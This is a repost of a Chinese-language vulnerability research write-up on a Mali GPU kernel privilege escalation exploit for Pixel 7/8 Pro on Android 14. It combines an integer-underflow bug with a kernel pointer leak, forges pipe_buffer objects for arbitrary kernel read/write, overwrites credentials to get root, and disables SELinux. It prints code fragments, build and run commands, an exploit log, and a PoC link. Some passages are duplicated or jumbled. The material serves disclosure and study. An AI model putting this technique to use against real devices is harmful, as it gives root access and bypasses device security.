Pixel7/8 Pro 的 Android 14 内核漏洞利用


Pixel7/8 Pro 的 Android 14 内核漏洞利用
Mali GPU 内核 LPE
本文深入分析了 Mali GPU 中的两个内核漏洞,这些漏洞可通过默认应用程序沙箱访问,这是我独立识别并向 Google 报告的。它包括一个可实现任意内核读/写功能的内核漏洞。因此,它会禁用 SELinux 并提升运行以下 Android 14 版本的 Google Pixel 7 和 8 Pro 型号的 root 权限:
Pixel 8 Pro:google/husky/husky:14/UD1A.231105.004/11010374:user/release-keysPixel 7 Pro:google/cheetah/cheetah:14/UP1A.231105.003/11010452:user/release-keysPixel 7 Pro:google/cheetah/cheetah:14/UP1A.231005.007/10754064:user/release-keysPixel 7:(google/panther/panther:14/UP1A.231105.003/11010452:user/release-keys作者:m4b4 (Marcel))

漏洞

此漏洞利用了两个漏洞:ioctl 命令中的补丁不完整导致的整数溢出gpu_pixel_handle_buffer_liveness_update_ioctl,以及时间线流消息缓冲区内的信息泄漏。

由于不正确的整数溢出修复导致 gpu_pixel_handle_buffer_liveness_update_ioctl() 中的缓冲区下溢

Google在此提交中gpu_pixel_handle_buffer_liveness_update_ioctl解决了ioctl 命令中的整数溢出问题。起初,当我报告此问题时,我认为该错误是由前面描述的补丁中的问题引起的。查看该报告后,我意识到我对漏洞的分析不准确。尽管我最初假设补丁不完整,但它有效地解决并防止了计算中的下溢。这让我怀疑该更改并未应用于生产版本。然而,虽然我可以在计算中造成下溢,但不可能造成上溢。这表明 ioctl 命令已部分修复,尽管没有使用上面显示的补丁。查看 IDA 发现生产版本中附带了另一个不完整的补丁,并且该补丁不存在于 Mali GPU 内核模块的任何 git 分支中。
该漏洞最早在最新的 Android 版本中发现,并于 2023 年 11 月 19 日报告。Google 后来通知我,他们已经内部识别出该漏洞,并在 12 月的 Android 安全公告中将其分配为CVE-2023-48409,并将其标记为重复问题。尽管我能够在提交报告之前几个月确认该错误已在内部识别,(基于 8 月 30 日左右的提交日期),但仍然存在混乱。具体来说,奇怪的是最新设备的 10 月和 11 月的安全补丁级别 (SPL) 仍然受到此漏洞的影响 – 我没有调查这些之前的版本。因此,我无法最终确定这是否确实是一个重复问题,以及在我提交之前是否确实计划在 12 月发布适当的补丁,或者在解决此漏洞时是否存在疏忽。
无论如何,这个 bug 的强大之处在于:
  • 缓冲区info.live_ranges完全由用户控制。
  • 溢出的值是用户控制的输入,因此,我们可以溢出计算,因此info.live_ranges指针可以位于内核地址开始之前的任意偏移处buff
  • 分配大小也是用户控制的输入,这使得能够从任何通用的slab分配器请求内存分配。
该漏洞与我于 2022 年在 iOS 15 内核中发现并利用的DeCxt::RasterizeScaleBiasData() 缓冲区下溢漏洞有相似之处。

时间线流消息缓冲区中内核指针的泄漏

GPU Mali 实现了一种定制timeline stream设计,用于收集信息、对其进行序列化,然后按照特定格式将其写入环形缓冲区。用户可以调用 ioctl 命令kbase_api_tlstream_acquire来获取文件描述符,从而能够从此环形缓冲区中读取数据。消息的格式如下:

  • 数据包标头
  • 消息ID
  • 序列化消息缓冲区,其中特定内容取决于消息 ID。例如,该__kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait函数将kbase_kcpu_command_queuedma_fence内核指针序列化到消息缓冲区中,导致内核指针泄漏到用户空间进程。
void __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait(struct kbase_tlstream *stream,const void *kcpu_queue,const void *fence){const u32 msg_id = KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT;const size_t msg_size = sizeof(msg_id) + sizeof(u64)+ sizeof(kcpu_queue)+ sizeof(fence);char *buffer;unsigned long acq_flags;size_t pos = 0;buffer = kbase_tlstream_msgbuf_acquire(stream, msg_size, &acq_flags);pos = kbasep_serialize_bytes(buffer, pos, &msg_id, sizeof(msg_id));pos = kbasep_serialize_timestamp(buffer, pos);pos = kbasep_serialize_bytes(buffer,pos, &kcpu_queue, sizeof(kcpu_queue));pos = kbasep_serialize_bytes(buffer,pos, &fence, sizeof(fence));kbase_tlstream_msgbuf_release(stream, acq_flags);}
概念验证漏洞kbase_kcpu_command_queue通过监视消息 ID 来泄漏对象地址,每当分配新的 kcpu 队列对象时KBASE_TL_KBASE_NEW_KCPUQUEUE,该函数就会调度该消息kbasep_kcpu_queue_newID。
Google 告诉我,该漏洞于 2023 年 3 月报告,并 在其安全公告中分配了CVE-2023-26083 。尽管如此,我还是能够在 10 月和 11 月附带安全补丁级别 (SPL) 的最新 Pixel 设备上重现该问题,表明修复程序尚未正确应用或根本没有应用。随后,Google 很快在 12 月安全更新公告中解决了该问题,但没有提供任何信用,后来通知我该问题被认为是重复的。然而,将此问题标记为重复问题的理由仍然值得怀疑。
开发
所以我有两个有趣的漏洞。第一个提供了强大的功能,可以修改分配的内存之前的任何 16 字节对齐内核地址的内容。浅黄色地址。第二个漏洞提供了内核内存中对象的潜在位置的提示。
关于 buffer_count 和 live_ranges_count 值的注释
通过对buffer_count和live_ranges_count字段的完全控制,我可以灵活地选择目标板和要写入的精确偏移量。然而,由于多种限制和因素,为buffer_count和选择值需要仔细考虑:live_ranges_count
  • 两个值都是相关的,只有绕过所有新引入的检查才会发生溢出。
  • 负偏移量必须 16 字节对齐的要求限制了写入任何选定位置的能力。然而,这通常不是一个重大障碍。
  • 选择较大的偏移量会导致大量数据被写入可能不是预期目标的内存区域。例如,如果分配大小溢出到0x3004,则live_ranges指针将被设置-0x4000为对象分配空间中的字节buff。copy_from_user然后,该函数将0x7004根据update->live_ranges_count乘以 4 的计算来写入字节。因此,此操作将导致用户控制的数据覆盖live_ranges指针和buff分配之间的内存区域。因此,必须仔细确保该范围内的关键系统对象不会被意外覆盖。鉴于该操作涉及copy_from_user调用,人们可能会考虑EFAULT通过故意取消映射用户源缓冲区后面的不需要的内存区域来触发 ,以防止数据写入敏感位置。然而,这种方法是无效的,因为如果函数raw_copy_from_user失败,它会将目标内核缓冲区中的剩余字节清零。实现此行为是为了确保在由于错误而进行部分复制的情况下,内核缓冲区的其余部分不包含未初始化的数据。
static inline __must_check unsigned long_copy_from_user(void *to, const void __user *from, unsigned long n){unsigned long res = n;might_fault();if (!should_fail_usercopy() && likely(access_ok(from, n))) {instrument_copy_from_user(to, from, n);res = raw_copy_from_user(to, from, n);}if (unlikely(res))memset(to + (n - res), 0, res);return res;}
考虑到这一点,我们需要仔细选择要覆盖的对象和要写入的数据。
选择要覆盖的正确对象
因为我陷入了这个不幸的检查,所以我的策略是识别一个对象,如果将其清零,则不会产生任何不需要的结果。但是,在我开始之前,还有另一个问题需要处理。还记得我在上一部分中说过,我可以选择任何分配大小,从而选择任何通用的slab缓存分配器来为我的分配缓冲区提供服务吗?那是不正确的,因为那是因为copy_from_user又!这是由于CONFIG_HARDENED_USERCOPY缓解措施所致。它禁止指定不符合相应的slab缓存大小的大小,其中内核目标缓冲区对应于堆对象(在本例中)。它确定缓冲区的页面是否是平板页面,如果是,则检索匹配kmem_cache->size并确定用户提供的大小是否不会超过它;否则,内核会因大小不匹配而崩溃。因此,换句话说,我无法定位属于通用分配器的对象,但我仍然可以定位大尺寸的对象(即那些直接由页面分配器提供服务的对象)。
我想到的第一个想法是使用该pipe_buffer技术,这是一种非常优雅的技术来获取任意读/写原语。我不会详细介绍该技术,但鼓励读者阅读中断实验室这篇精彩的博客。当构造一个管道对象时,该pipe_buffer对象最初是在一个包含 16 个元素的数组中创建的;但是,可以使用 调整数组大小fcntl(F_SETPIPE_SZ)因此,pipe_buffer可以调整数组分配,使其可以由页面分配器提供服务,使其成为完美的攻击目标对象。选择 pipeline_buffer 对象作为目标候选者后,实现内核读写的下一步是使用下溢漏洞覆盖其内容,这将允许我从页面覆盖该字段的任何内存位置读取/写入pipe_buffer->page因为该漏洞允许我写入任意数据,所以我可以控制“ pipe_buffer,”的全部内容,包括其页面字段,为此,我需要pipe_buffer在易受攻击的kbuff对象之前分配数组,并且它们必须彼此相邻。
相邻放置 pipeline_buffer 和 buff 对象
我向内核内存喷射了很多kbase_kcpu_command_queue对象,然后是一堆pipe_buffer数组。由于.pipe_buffer pipe_max_size因此,我决定开始用kbase_kcpu_command_queue物体喷涂。选择该kbase_kcpu_command_queue对象有两个原因:它的分配大小0x38C8因此由页面分配器处理,并且我可以使用信息内核泄漏错误确定性地获取其内核地址,使其成为一个很好的喷射对象以及一个很好的目标对象(我们将在下一节中看到)。
如前所述,我曾经fcntl(F_SETPIPE_SZ)增加数组分配的大小pipe_buffer,以便它可以由页面分配器提供服务。更具体地说,我选择分配大小为 ==0x4000 字节 (4 * PAGE_SIZE)== 以便与分配保持一致kbase_kcpu_command_queue
获取struct page地址
为了正确使用pipe_buffer,需要一个页面地址。能够识别kbase_kcpu_command_queue我可以故意创建和销毁的对象的内核地址,使其成为使用的良好候选者,并且struct page可以通过使用virt_to_page.
要写入 pipeline_buffer 的内容
所以pipe_buffer对象如下:
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;};
如前所述,该page字段必须包含有效的页面地址。字段不得超过,否则管道将增加头/尾计数器,导致使用新对象并失去对假管道缓冲区offset控制。另外,以下调用必须如此,而不是盲目地增加头计数器并使用下一个管道缓冲区,它首先检查当前是否有适合写入请求的空间,如果有,它会简单地从字段中存储的值开始将数据附加到同一管道缓冲区为了避免由and 调用的处的设备崩溃,该指针还必须是有效的内核地址,并且字段设置为NULL我可以简单地使用泄漏对象中的偏移量,该偏移量为 NULL 并且在任何情况下都不会改变。lenPAGE_SIZEpipe_bufferflagsPIPE_BUF_FLAG_CAN_MERGEpipe_writepipe_bufferlenpipe_buf_confirmpipe_writepipe_readopsops->confirmkbase_kcpu_command_queue

选择下溢的最佳偏移值

buff而、kbase_kcpu_command_queue的分配大小pipe_buffer0x4000字节,我选择使用0x8000字节使缓冲区下溢为什么 ?
我们简单看一下pipe_buffers读写操作期间是如何更新的。假设我们可以将 塑造pipe_buffer成这样:
struct pipe_buffer { .page = virt_to_page(addr), .offset = 0, .len = 0x40, .ops = kcpu_addr + 0x50, .flags = PIPE_BUF_FLAG_CAN_MERGE,unsigned long private = 0};
虽然该错误提供了任意控制该对象的内容的能力,但它只执行一次,因为下溢的对象在ioctl调用完成后立即被释放。这实际上带来了一个问题,因为我需要手动更新对象pipe_buffer以使其在每次管道读/写操作后再次可用:
  • .page字段未更新;它保持不变,当缓冲区为空时,它被释放,我不希望发生这种情况,因为该.ops字段设置不正确。
  • 由于读取操作pipe_buffer会更新字段.offset,因此我无法再次读取同一内存区域。
  • 写入 的数据pipe_buffer将从该值开始附加到缓冲区.len(假设PIPE_BUF_FLAG_CAN_MERGE已设置标志),并.len相应地更新 。也就是说,我们不能将数据两次写入确切的地址。
因此,除非我pipe_buffer在每次读取或写入操作后正确更新,否则我无法同时从同一管道读取和写入。这就是为什么0x8000字节下溢更加实用,因为我将覆盖两个不同管道对象的两个不同的 pipeline_buffer 实例pipe_buffer,而不是覆盖单个:一个 for 将被考虑用于读取操作,另一个用于写入操作
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */pipe_read = (struct pipe_buffer *)( ptr);pipe_read->page = virt_to_page(ta->kcpu_kaddr);pipe_read->offset = 0;pipe_read->len = 0xfff;pipe_read->ops = (const void *)(ta->kcpu_kaddr + 0x50);pipe_read->flags = PIPE_BUF_FLAG_CAN_MERGE;pipe_read->private = 0;pipe_write = (struct pipe_buffer *)( ptr + 0x4000);pipe_write->page = virt_to_page(ta->kcpu_kaddr);pipe_write->offset = 0;pipe_write->len = 0; /* This is the starting position of the pipe_write */pipe_write->ops = (const void *)(ta->kcpu_kaddr + 0x50);pipe_write->flags = PIPE_BUF_FLAG_CAN_MERGE;pipe_write->private = 0;
pipe_read是一个假管道缓冲区,将用于从目标页读取从.offset = 0最多0xfff字节开始的数据,而pipe_write是一个假管道缓冲区pipe_buffer,将用于从.len = 0最多0xfff字节开始写入数据。再次提及也非常重要,写入超过PAGE_SIZE字节将推动管道增加头计数器,因此使用新分配的新分配pipe_buffer并失去对 fake 的控制pipe_write另一方面,清空(从中读取 0xfff 数据)fake_read缓冲区告诉内核通过调用释放实际页面,ops→release导致内核崩溃,因为我仍然没有内核文本地址。虽然我设法隔离管道读取和写入操作,以便在一个管道端执行写入不会干扰另一管道缓冲区,反之亦然,但我仍然没有解决核心问题:如何可靠地更新管道缓冲区?我想到的明显答案是在每次管道读取或写入调用后一次又一次地重复喷射过程。这是没有意义的,因为它会对利用可靠性产生重大影响。在下面的部分中,我将把目标分为两个子目标:首先,我将.page只关注领域,然后是.len/.offset领域。

修改pipe_buffer→page字段

.page令我惊讶的是,我根本没有或不需要更新,这是因为我可以覆盖pipe_buffer→page 指向泄漏的页面地址kbase_kcpu_command_queue因此,**我需要做的就是释放该kbase_kcpu_command_queue对象并将其与新pipe_buffer对象重叠。是的!现在我有一个pipe_buffer→page指向合法pipe_buffer对象的了!替换kbase_kcpu_command_queuepipe_buffer使我们能够操作合法的管道缓冲区,而无需定期更新该.page字段。但是,我仍然需要处理 和.len字段.offset

修改pipe_buffer→len/offset字段

正如我之前提到的,进行管道读/写会更新.len.offset字段,从而导致同一页面上的后续读/写操作不可用,即使在两个不同的管道上执行也是如此。这是另一个技巧:有一种技术可以读取/写入数据,甚至无需触摸.len/.offset字段!并且可以通过故障copy_page_from_itercopy_page_to_iter调用来实现这一点pipe_read/write是的,就像 一样copy_to/from_usercopy_page_to/from_iter将通过结构传递的数据从用户空间复制到用户空间iov_iter,并且可能会出错。
继续前面的示例,如果我们希望将 8 字节数据写入某个地址,则提供的用户空间缓冲区大小必须为 8,后跟未映射或不可读的内存区域,然后作为大小参数传递9给系统write调用,指示我们要写入的数据量。此操作将写入 8 个字节,并在第九个字节失败,因为它遇到未映射/未读取的内存位置。结果,数据已有效写入目标内核缓冲区,并且该.len字段尚未修改。内核pipe_write函数将仅返回而不更新该buf->len字段。
page_to/from_iter将通过结构传递的数据从用户空间复制到用户空间iov_iter,并且可能会出错。
继续前面的示例,如果我们希望将 8 字节数据写入某个地址,则提供的用户空间缓冲区大小必须为 8,后跟未映射或不可读的内存区域,然后作为大小参数传递9给系统write调用,指示我们要写入的数据量。此操作将写入 8 个字节,并在第九个字节失败,因为它遇到未映射/未读取的内存位置。结果,数据已有效写入目标内核缓冲区,并且该.len字段尚未修改。内核pipe_write函数将仅返回而不更新该buf->len字段。
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf);if (ret)goto out; ret = copy_page_from_iter(buf->page, offset, chars, from);if (unlikely(ret < chars)) { ret = -EFAULT;goto out; } buf->len += ret;if (!iov_iter_count(from))goto out; }
读操作也是如此;如果我们想读取8个字节,则将缓冲区的第9个字节设置为不可读,然后只需声明我们要读取9个字节,数据将被复制到用户缓冲区而不更改字段.offset。因此,我们能够对任何内核内存地址执行无限的读/写操作,而无需反复执行喷射过程。
Getting root
现在我有了一个强大的任意读/写原语,我只需使用中断实验室struct page博客文章中概述的技术查看数组中的所有内容VMEMMAP_START即可确定内核文本起始地址。然后我意识到Android 11 月安全更新中已取消该功能,因此我只是使用了它。有了内核地址,我就可以遍历列表并获得我自己的任务内核地址,然后将结构清零以获得 root 权限。
init_taskkthreadd_taskkthreadd_tasktask->taskscurrentcred
后来,我意识到扫描所有页面地址是不必要的,因为我已经从 pipeline_buffer 对象中获得了 anon_pipe_buf_ops 内核文本地址。有了这些信息,我就可以推断出内核文本基地址,从而有效地绕过 KASLR。
禁用 SELinux
该漏洞还禁用了 SELinux,通过内核文本基地址,我只需要找到selinux_state全局结构位置,然后将值清零.enforcing
概念验证
该报告所附的概念验证在运行 Android 14 以及 10 月和 11 月 ASB 的 Pixel 7 和 8 Pro 设备上进行了测试,成功率接近 100%。值得一提的是,由于使用了一些硬编码的偏移量,该漏洞在其他设备中无法立即使用。为了添加对新设备的支持,必须提供以下内容:
  • kthreadd_task距内核基地址的偏移量。
  • selinux_state距内核基地址的偏移量。
  • task_struct->credtask_struct->pid结构task_struct->tasks偏移。
  • anon_pipe_buf_ops距内核基地址的偏移量。
汇编
要将漏洞编译为独立的二进制文件,请使用以下命令,然后使用adb shell它来运行它:
$ aarch64-linux-androidXX-clang++ -static-libstdc++ -w -Wno-c++11-narrowing -DUSE_STANDALONE -o poc poc.cpp -llog$ adb push poc /data/local/tmp/$ adb shell /data/local/tmp/poc
您还可以通过嵌入此目录来通过 Android Studio 应用程序运行该漏洞,并确保通过添加-w -Wno-c++11-narrowing到 cmake 文件来禁用无用的 C++ 警告。
演示
$ adb logcat  |grep -i EXPLOIT11-28 16:04:12.500  7989  7989 E EXPLOIT : [+] Target device: 'google/husky/husky:14/UD1A.231105.004/11010374:user/release-keys' 0xa9027bfdd10203ff 0xa90467faa9036ffc11-28 16:04:15.563  7989  7989 E EXPLOIT : [+] Got the kcpu_id (0) kernel address = 0xffffff8901390000  from context (0x0)11-28 16:04:18.441  7989  7989 E EXPLOIT : [+] Got the kcpu_id (255) kernel address = 0xffffff89b0bf8000  from context (0xff)11-28 16:04:18.442  7989  7989 E EXPLOIT : [+] Found corrupted pipe with size 0xfff11-28 16:04:18.442  7989  7989 E EXPLOIT : [+] SUCCESS! we have a fake pipe_buffer (0)!11-28 16:04:18.444  7989  7989 E EXPLOIT : 10 00 39 01 89 FF FF FF  10 00 39 01 89 FF FF FF  | ..9.......9.....11-28 16:04:18.444  7989  7989 E EXPLOIT : 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | ................11-28 16:04:18.444  7989  7989 E EXPLOIT : 00 B0 CD 12 C0 FF FF FF  00 00 00 00 00 00 00 00  | ................11-28 16:04:18.444  7989  7989 E EXPLOIT : 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | ................11-28 16:04:18.445  7989  7989 E EXPLOIT : [+] Freeing kcpu_id = 0 (0xffffff8901390000)11-28 16:04:18.446  7989  7989 E EXPLOIT : [+] Allocating 61 pipes with 256 slots11-28 16:04:18.462  7989  7989 E EXPLOIT : [+] Successfully overlapped the kcpuqueue object with a pipe buffer11-28 16:04:18.463  7989  7989 E EXPLOIT : 40 AB BA 26 FE FF FF FF  00 00 00 00 30 00 00 00  | @..&........0...11-28 16:04:18.463  7989  7989 E EXPLOIT : 70 37 8D F1 DA FF FF FF  10 00 00 00 00 00 00 00  | p7..............11-28 16:04:18.463  7989  7989 E EXPLOIT : 00 00 00 00 00 00 00 00                           | ........11-28 16:04:18.463  7989  7989 E EXPLOIT : [+] pipe_buffer {.page = 0xfffffffe26baab40, .offset = 0x0, .len = 0x30, ops = 0xffffffdaf18d3770}11-28 16:04:18.463  7989  7989 E EXPLOIT : [+] kernel base = 0xffffffdaf0010000, kthreadd_task = 0xffffff8002da3780 selinux_state = 0xffffffdaf28a316811-28 16:04:20.097  7989  7989 E EXPLOIT : [+] Found our own task struct 0xffffff88416c5c8011-28 16:04:20.097  7989  7989 E EXPLOIT : [+] Successfully got root: getuid() = 0 getgid() = 011-28 16:04:20.097  7989  7989 E EXPLOIT : [+] Successfully disabled SELinux11-28 16:04:20.102  7989  7989 E EXPLOIT : [+] Cleanup  ... OK


项目地址:

https://github.com/0x36/Pixel_GPU_Exploit




感谢您抽出

Pixel7/8 Pro 的 Android 14 内核漏洞利用

.

Pixel7/8 Pro 的 Android 14 内核漏洞利用

.

Pixel7/8 Pro 的 Android 14 内核漏洞利用

来阅读本文

Pixel7/8 Pro 的 Android 14 内核漏洞利用

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):Pixel7/8 Pro 的 Android 14 内核漏洞利用

版权声明:admin 发表于 2024年3月18日 下午4:33。
转载请注明:Pixel7/8 Pro 的 Android 14 内核漏洞利用 | CTF导航

相关文章